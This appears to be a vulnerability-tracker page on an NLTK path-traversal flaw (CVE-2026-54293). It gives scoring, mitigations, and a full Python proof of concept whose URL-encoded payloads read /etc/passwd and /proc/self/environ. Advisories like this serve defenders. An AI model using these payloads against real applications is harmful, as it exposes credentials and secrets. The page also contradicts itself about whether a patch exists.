Skip to main content

NLTK CVE-2026-54293

| EUVDEUVD-2026-38333 HIGH
Path Traversal (CWE-22)
2026-06-16 https://github.com/nltk/nltk GHSA-p4gq-832x-fm9v
7.5
CVSS 3.1 · Vendor: https://github.com/nltk/nltk
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify app passing input to nltk.data.load
  2. Delivery
    Craft nltk: URL with %2f/%2e encoding
  3. Exploit
    Submit payload via app endpoint
  4. Install
    Bypass _UNSAFE_NO_PROTOCOL_RE regex
  5. C2
    url2pathname decodes to real filesystem path
  6. Execute
    Read /proc/self/environ or secrets
  7. Impact
    Exfiltrate credentials for follow-on access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the deploying application to pass attacker-controlled strings into nltk.data.load() (or any wrapper that ultimately resolves a 'nltk:' URL), and the NLTK installation must be at version 3.9.4 or earlier in the default ENFORCE=False configuration. Limiting factors: the NLTK process must have filesystem read permissions for the target files (so /etc/shadow only leaks if running as root); the application must return or otherwise expose the loaded content back to the attacker for the read to be observable; literal '../' sequences remain blocked, so only URL-encoded payloads (%2f, %2e%2e, ..%2f) succeed. No authentication or user interaction is required at the NLTK layer itself, but practical reachability is gated by whatever auth the surrounding application enforces.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) reflects worst-case exploitation when NLTK is reachable from an HTTP boundary, but the realistic risk depends entirely on whether the host application exposes nltk.data.load() to untrusted input - NLTK itself is a library, not a service. EPSS and KEV data are not provided, so widespread automated exploitation cannot be confirmed; however, publicly available exploit code exists in the GHSA advisory, lowering the skill bar substantially. Confidentiality impact is genuine (secrets, credentials, /proc/self/environ leakage), but no integrity or availability impact applies. Note the conflict: the CVSS implies remote unauthenticated reachability, yet exploitation requires the deploying application to feed user-controlled strings into nltk.data.load() - verify in your own deployment before treating as network-exploitable.

Exploit ScenarioDerived

An attacker submits a search query, document identifier, or API parameter that a web-facing ML application forwards into nltk.data.load() - for example, a payload like nltk:%2fproc%2fself%2fenviron. The regex check passes because the encoded slashes are not recognized, url2pathname() decodes the payload into /proc/self/environ, and the file contents are returned in the application response, exposing API keys and database credentials. The publicly available PoC in the GHSA advisory demonstrates four working variants including /etc/passwd and environment leakage.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 16, 2026

Arbitrary local file read in the Natural Language Toolkit (NLTK) Python library affects versions up to and including 3.9.4 via a decode-after-check flaw in nltk.data.load() when handling the nltk: URL scheme. Attackers who can influence resource identifiers passed to this function can bypass the _UNSAFE_NO_PROTOCOL_RE regex using URL-encoded separators (%2f) or traversal segments (%2e%2e), allowing reads of files such as /etc/passwd, /proc/self/environ, SSH keys, and application secrets. Publicly available exploit code exists via the GHSA-p4gq-832x-fm9v advisory, though no public exploit identified in CISA KEV at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis - the advisory data lists fixed version as None. Until an upstream release is available, deploying applications should treat any string passed to nltk.data.load() as untrusted: reject inputs containing percent signs (%) or any URL scheme prefix from external sources, allowlist resource names against a known corpus identifier set (e.g., regex matching only [a-zA-Z0-9_./-]), or sandbox the NLTK process under a restrictive filesystem namespace or seccomp/AppArmor profile that blocks reads outside the nltk_data directory. Setting the nltk.pathsec ENFORCE flag to True (if exposed in your version) enables stricter checks but does not eliminate the decode-after-check primitive, so input validation remains primary. Each mitigation has trade-offs: input allowlisting can break legitimate dynamic corpus loading; sandboxing adds operational complexity; ENFORCE=True may reject previously working resource strings. Monitor https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v for a fixed release.

Affected VersionsENISA

nltk < 3.10.0-rc1

Affected Packages

pypi nltk fix: 3.10.0-rc1, 3.10.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NLTK is a widely deployed Python library for natural language processing, distributed via PyPI (pkg:pip/nltk) and used in web applications, hosted notebooks, ML pipelines, and CI/CD systems. The vulnerability lives in nltk/data.py within find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex (lines L54-L69, L219-L245, L615-L618, L650-L653). The root cause is CWE-22 (Path Traversal) manifested as a classic TOCTOU/decode-after-check: the regex inspects the raw, undecoded resource string for unsafe patterns like '../' or leading '/', but the final filesystem path is produced later by url2pathname(), which decodes percent-encoded sequences. Encoded variants (%2fetc%2fpasswd, %2e%2e%2f, ..%2f..%2f) are therefore invisible to the validator but become live path separators after decoding, breaking the security boundary NLTK explicitly documents in SECURITY.md.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nltk/nltk) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 7.5 HIGH

Reachable via web apps forwarding input to nltk.data.load with no auth or UI required; only confidentiality impacted via arbitrary file read bounded by process permissions.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/nltk/nltk).

CVSS VectorVendor: https://github.com/nltk/nltk

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

1
Patch available
Jun 22, 2026 - 21:02 EUVD

DescriptionCVE.org

Summary

nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.

Affected Component

nltk/data.py - find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:

data.py L650-L653 - final path constructed from url2pathname(resource_name) after checks data.py L54-L69 - _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219-L245 - normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615-L618 - defense-in-depth traversal check also operates on undecoded input

Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.

Proof of Concept

"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)

Root Cause:
  nltk/data.py:find() checks resource names against a regex for
  traversal patterns (../, leading /, etc.) BEFORE calling
  url2pathname() which decodes %xx sequences. This is a classic
  "decode-after-check" vulnerability.
"""

import sys
import os
import warnings
# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)
# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk
from nltk.pathsec import ENFORCE

BANNER = """
===================================================
 NLTK URL-Encoded Path Traversal PoC
 Affected: nltk <= 3.9.4
 Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"):
    """Test a single traversal variant."""
    try:
        content = nltk.data.load(payload, format=fmt)
        if isinstance(content, bytes):
            preview = content[:200].decode("utf-8", errors="replace")
        else:
            preview = content[:200]
        first_line = preview.split("\n")[0]
        print(f"  [VULN] {name}")
        print(f"         Payload: {payload}")
        print(f"         Read OK: {first_line}")
        return True
    except Exception as e:
        print(f"  [SAFE] {name}")
        print(f"         Payload: {payload}")
        print(f"         Blocked: {type(e).__name__}: {e}")
        return False


def main():
    print(BANNER)
    vulns = 0
# --- Variant 1: URL-encoded absolute path ---
    print("[1] URL-encoded absolute path (%2f = /)")
    if test_variant(
        "Encoded leading slash bypasses ^/ regex check",
        "nltk:%2fetc%2fpasswd",
    ):
        vulns += 1

    print()
# --- Variant 2: Encoded dot-dot traversal ---
    print("[2] URL-encoded dot-dot traversal (%2e = .)")
    if test_variant(
        "Encoded dots bypass \\.\\./ regex check",
        "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    ):
        vulns += 1

    print()
# --- Variant 3: Literal dots with encoded slash ---
    print("[3] Literal dots with encoded slash (..%2f)")
    if test_variant(
        "Encoded slash after literal .. bypasses \\.\\./ regex",
        "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
    ):
        vulns += 1

    print()
# --- Variant 4: Read process environment (credential leak) ---
    print("[4] Read /proc/self/environ (credential leakage)")
    try:
        content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
        env_vars = content.decode("utf-8", errors="replace").split("\x00")
        print(f"  [VULN] Leaked {len(env_vars)} environment variables")
        for var in env_vars[:3]:
            if var:
                key = var.split("=")[0] if "=" in var else var
                print(f"         {key}=...")
        vulns += 1
    except Exception as e:
        print(f"  [SAFE] Blocked: {e}")

    print()
# --- Control: verify normal traversal IS blocked ---
    print("[CONTROL] Verify literal ../ is blocked by regex")
    test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

    print()
    print("=" * 51)
    print(f" Result: {vulns} bypass variant(s) succeeded")
    if vulns > 0:
        print(" Status: VULNERABLE (url2pathname decodes after regex check)")
    else:
        print(" Status: Not vulnerable")
    print("=" * 51)


if __name__ == "__main__":
    main()

Impact

Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ - leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 pypi packages depend on nltk (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.10.0.

Executive ViewAI

Why It Matters

Natural Language Toolkit (NLTK) versions 3.9.4 and earlier contain an arbitrary local file read vulnerability with publicly available exploit code. The flaw allows attackers who can influence input to nltk.data.load() to bypass URL validation and read sensitive files including SSH keys, credentials, and environment variables. Organizations using NLTK in production applications face potential credential compromise and lateral movement risks.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement strict input validation and parameter allowlisting for nltk.data.load(), restrict function access through static code analysis, run NLTK processes with minimal filesystem permissions (principle of least privilege), and isolate NLTK execution from systems containing sensitive credentials.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Package Hub 15 SP7 Fixed
openSUSE Tumbleweed Fixed
SUSE Package Hub 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy